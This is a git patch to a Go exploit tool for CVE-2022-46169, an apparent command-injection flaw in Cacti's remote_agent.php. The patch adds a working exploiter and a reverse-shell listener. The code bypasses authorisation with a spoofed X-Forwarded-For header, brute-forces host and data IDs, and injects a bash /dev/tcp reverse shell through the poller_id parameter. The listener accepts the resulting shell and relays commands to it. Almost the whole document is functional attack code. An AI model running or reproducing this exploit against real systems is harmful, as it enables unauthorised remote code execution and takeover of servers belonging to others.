From 81b1779bbe7f0340a6f17e4837ef3bb7c78a0791 Mon Sep 17 00:00:00 2001 From: Vomitblood Date: Fri, 24 Jan 2025 11:01:46 +0800 Subject: [PATCH] added listener + subroutines --- go.mod | 2 +- internal/cmd/cmd.go | 38 +++++++ internal/exploiter/exploiter.go | 137 ++++++++++++++++++++++++++ internal/listener/listener.go | 73 ++++++++++++++ main.go | 169 ++------------------------------ 5 files changed, 258 insertions(+), 161 deletions(-) create mode 100644 internal/cmd/cmd.go create mode 100644 internal/exploiter/exploiter.go create mode 100644 internal/listener/listener.go diff --git a/go.mod b/go.mod index 6ea939e..8a92287 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,3 @@ -module github.com/Vomitblood/cve-2022-46169 +module git.vomitblood.com/Vomitblood/cve-2022-46169 go 1.23.2 diff --git a/internal/cmd/cmd.go b/internal/cmd/cmd.go new file mode 100644 index 0000000..66bacf5 --- /dev/null +++ b/internal/cmd/cmd.go @@ -0,0 +1,38 @@ +package cmd + +import ( + "flag" + "fmt" +) + +func GetArguments() (string, string, string) { + var UrlTarget string + var Lhost string + var Lport string + + flag.StringVar(&UrlTarget, "u", "", "The target URL (example: http://10.129.250.32)") + flag.StringVar(&Lhost, "-h", "", "Localhost (example: 10.10.14.10)") + flag.StringVar(&Lport, "-p", "", "The listening port for reverse shell (example: 4444)") + + flag.Parse() + + if UrlTarget == "" { + fmt.Println("[*] Please provide the target URL (example: -u http://10.129.250.32)") + flag.Usage() + return "", "", "" + } + + if Lhost == "" { + fmt.Println("[*] Please provide your IP address (-l 10.10.14.10)") + flag.Usage() + return "", "", "" + } + + if Lport == "" { + fmt.Println("[*] Please provide the listening port for the reverse shell (-p 4444)") + flag.Usage() + return "", "", "" + } + + return UrlTarget, Lhost, Lport +} diff --git a/internal/exploiter/exploiter.go b/internal/exploiter/exploiter.go new file mode 100644 index 0000000..d620cdd --- /dev/null +++ b/internal/exploiter/exploiter.go @@ -0,0 +1,137 @@ +package exploiter + +import ( + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strings" + + "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd" +) + +func checkVuln(vulnUrl string) bool { + client := &http.Client{} + req, err := http.NewRequest("GET", vulnUrl, nil) + if err != nil { + fmt.Println("Error creating request:", err) + return false + } + req.Header.Set("X-Forwarded-For", "127.0.0.1") + resp, err := client.Do(req) + if err != nil { + fmt.Println("Error making request:", err) + return false + } + defer resp.Body.Close() + + if resp.StatusCode == 403 { + return false + } + + // read the response body for vulnerability check + buf := new(strings.Builder) + _, err = io.Copy(buf, resp.Body) + if err != nil { + fmt.Println("Error reading response body:", err) + return false + } + + if buf.String() == "FATAL: You are not authorized to use this service" { + return false + } + + return true +} + +func bruteForcing(vulnURL string) (bool, int, int) { + for n := 1; n <= 4; n++ { + for n2 := 1; n2 <= 9; n2++ { + idVulnURL := fmt.Sprintf("%s?action=polldata&poller_id=1&host_id=%d&local_data_ids[]=%d", vulnURL, n, n2) + client := &http.Client{} + req, err := http.NewRequest("GET", idVulnURL, nil) + if err != nil { + fmt.Println("Error creating request:", err) + return false, 1, 1 + } + req.Header.Set("X-Forwarded-For", "127.0.0.1") + resp, err := client.Do(req) + if err != nil { + fmt.Println("Error making request:", err) + return false, 1, 1 + } + defer resp.Body.Close() + + buf := new(strings.Builder) + _, err = io.Copy(buf, resp.Body) + if err != nil { + fmt.Println("Error reading response body:", err) + return false, 1, 1 + } + + // perse the json response + var jsonResponse []map[string]interface{} + err = json.Unmarshal([]byte(buf.String()), &jsonResponse) + if err != nil { + fmt.Println("Error unmarshalling JSON:", err) + return false, 1, 1 + } + + // the response must have at least one item + if len(jsonResponse) > 0 { + // first item, and the rrd_name field + rrdName, exists := jsonResponse[0]["rrd_name"].(string) + if exists && (rrdName == "polling_time" || rrdName == "uptime") { + fmt.Println("Bruteforce Success") + return true, n, n2 + } + } + } + } + fmt.Println("Unknown error occurred") + return false, 1, 1 +} + +func reverseShell(payload string, vulnUrl string, hostID int, dataIDs int) { + payloadEncoded := url.QueryEscape(payload) + injectRequest := fmt.Sprintf("%s?action=polldata&poller_id=;%s&host_id=%d&local_data_ids[]=%d", vulnUrl, payloadEncoded, hostID, dataIDs) + client := &http.Client{} + req, err := http.NewRequest("GET", injectRequest, nil) + if err != nil { + fmt.Println("Error creating request:", err) + return + } + req.Header.Set("X-Forwarded-For", "127.0.0.1") + resp, err := client.Do(req) + if err != nil { + fmt.Println("Error making request:", err) + return + } + defer resp.Body.Close() +} + +func Exploit() { + urlTarget, lhost, lport := cmd.GetArguments() + if urlTarget == "" || lhost == "" || lport == "" { + return + } + + vulnURL := urlTarget + "/remote_agent.php" + fmt.Println("Checking...") + if checkVuln(vulnURL) { + fmt.Println("The target is vulnerable. Exploiting...") + + fmt.Println("Bruteforcing the host_id and local_data_ids") + isVuln, hostID, dataIDs := bruteForcing(vulnURL) + + if isVuln { + payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport) + reverseShell(payload, vulnURL, hostID, dataIDs) + } else { + fmt.Println("The Bruteforce Failed...") + } + } else { + fmt.Println("The target is not vulnerable") + } +} diff --git a/internal/listener/listener.go b/internal/listener/listener.go new file mode 100644 index 0000000..fde6964 --- /dev/null +++ b/internal/listener/listener.go @@ -0,0 +1,73 @@ +package listener + +import ( + "fmt" + "io" + "net" + "os" + + "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd" +) + +func handleConnection(conn net.Conn) { + defer conn.Close() + + fmt.Println("Connection established. Interacting with reverse shell...") + + for { + fmt.Print("shell > ") + var cmd string + fmt.Scanln(&cmd) + + // send the command to the reverse shell + _, err := conn.Write([]byte(cmd + "\n")) + if err != nil { + fmt.Println("Error sending command:", err) + return + } + + // read the response from the reverse shell + buf := make([]byte, 1024) + n, err := conn.Read(buf) + if err != nil && err != io.EOF { + fmt.Println("Error reading from connection:", err) + return + } + + // print the reverse shell output + fmt.Print(string(buf[:n])) + } +} + +func startListener(lhost, lport string) { + listenAddress := fmt.Sprintf("%s:%s", lhost, lport) + listener, err := net.Listen("tcp", listenAddress) + if err != nil { + fmt.Println("Error starting listener:", err) + os.Exit(1) + } + defer listener.Close() + + fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport) + + // accept incoming connections and handle them + for { + conn, err := listener.Accept() + if err != nil { + fmt.Println("Error accepting connection:", err) + continue + } + + // handle the connection in a new goroutine + go handleConnection(conn) + } +} + +func Listen() { + _, _, lport := cmd.GetArguments() + + // listen on everything, lazy + lhost := "0.0.0.0" + + startListener(lhost, lport) +} diff --git a/main.go b/main.go index 05d5b8d..cb1fd84 100644 --- a/main.go +++ b/main.go @@ -1,170 +1,19 @@ package main import ( - "encoding/json" - "flag" - "fmt" - "io" - "net/http" - "net/url" - "strings" + "time" + + "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter" + "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener" ) -func getArguments() (string, string, string) { - var urlTarget string - var lhost string - var lport string - - flag.StringVar(&urlTarget, "u", "", "The target URL (example: http://10.10.10.10)") - flag.StringVar(&lhost, "LHOST", "", "Localhost (example: 10.10.10.10)") - flag.StringVar(&lport, "LPORT", "", "The listening port for reverse shell (example: 4444)") - - flag.Parse() - - if urlTarget == "" { - fmt.Println("[*] Please provide the target URL (example: -u http://10.10.10.10)") - flag.Usage() - return "", "", "" - } - - if lhost == "" { - fmt.Println("[*] Please provide your IP address (--LHOST=10.10.10.10)") - flag.Usage() - return "", "", "" - } - - if lport == "" { - fmt.Println("[*] Please provide the listening port for the reverse shell (--LPORT=443)") - flag.Usage() - return "", "", "" - } - - return urlTarget, lhost, lport -} - -func checkVuln(vulnUrl string) bool { - client := &http.Client{} - req, err := http.NewRequest("GET", vulnUrl, nil) - if err != nil { - fmt.Println("Error creating request:", err) - return false - } - req.Header.Set("X-Forwarded-For", "127.0.0.1") - resp, err := client.Do(req) - if err != nil { - fmt.Println("Error making request:", err) - return false - } - defer resp.Body.Close() - - if resp.StatusCode == 403 { - return false - } - - // read the response body for vulnerability check - buf := new(strings.Builder) - _, err = io.Copy(buf, resp.Body) - if err != nil { - fmt.Println("Error reading response body:", err) - return false - } - - if buf.String() == "FATAL: You are not authorized to use this service" { - return false - } - - return true -} - -func bruteForcing(vulnURL string) (bool, int, int) { - for n := 1; n <= 4; n++ { - for n2 := 1; n2 <= 9; n2++ { - idVulnURL := fmt.Sprintf("%s?action=polldata&poller_id=1&host_id=%d&local_data_ids[]=%d", vulnURL, n, n2) - client := &http.Client{} - req, err := http.NewRequest("GET", idVulnURL, nil) - if err != nil { - fmt.Println("Error creating request:", err) - return false, 1, 1 - } - req.Header.Set("X-Forwarded-For", "127.0.0.1") - resp, err := client.Do(req) - if err != nil { - fmt.Println("Error making request:", err) - return false, 1, 1 - } - defer resp.Body.Close() - - buf := new(strings.Builder) - _, err = io.Copy(buf, resp.Body) - if err != nil { - fmt.Println("Error reading response body:", err) - return false, 1, 1 - } - - // perse the json response - var jsonResponse []map[string]interface{} - err = json.Unmarshal([]byte(buf.String()), &jsonResponse) - if err != nil { - fmt.Println("Error unmarshalling JSON:", err) - return false, 1, 1 - } - - // the response must have at least one item - if len(jsonResponse) > 0 { - // first item, and the rrd_name field - rrdName, exists := jsonResponse[0]["rrd_name"].(string) - if exists && (rrdName == "polling_time" || rrdName == "uptime") { - fmt.Println("Bruteforce Success") - return true, n, n2 - } - } - } - } - fmt.Println("Unknown error occurred") - return false, 1, 1 -} - -func reverseShell(payload string, vulnUrl string, hostID int, dataIDs int) { - payloadEncoded := url.QueryEscape(payload) - injectRequest := fmt.Sprintf("%s?action=polldata&poller_id=;%s&host_id=%d&local_data_ids[]=%d", vulnUrl, payloadEncoded, hostID, dataIDs) - client := &http.Client{} - req, err := http.NewRequest("GET", injectRequest, nil) - if err != nil { - fmt.Println("Error creating request:", err) - return - } - req.Header.Set("X-Forwarded-For", "127.0.0.1") - resp, err := client.Do(req) - if err != nil { - fmt.Println("Error making request:", err) - return - } - defer resp.Body.Close() -} - func main() { - urlTarget, lhost, lport := getArguments() - if urlTarget == "" || lhost == "" || lport == "" { - return - } + go listener.Listen() - vulnURL := urlTarget + "/remote_agent.php" - fmt.Println("Checking...") - if checkVuln(vulnURL) { - fmt.Println("The target is vulnerable. Exploiting...") + time.Sleep(1 * time.Second) - fmt.Println("Bruteforcing the host_id and local_data_ids") - isVuln, hostID, dataIDs := bruteForcing(vulnURL) + exploiter.Exploit() - fmt.Println(isVuln, hostID, dataIDs) - - if isVuln { - payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport) - reverseShell(payload, vulnURL, hostID, dataIDs) - } else { - fmt.Println("The Bruteforce Failed...") - } - } else { - fmt.Println("The target is not vulnerable") - } + // prevent the main goroutine from exiting immediately + select {} }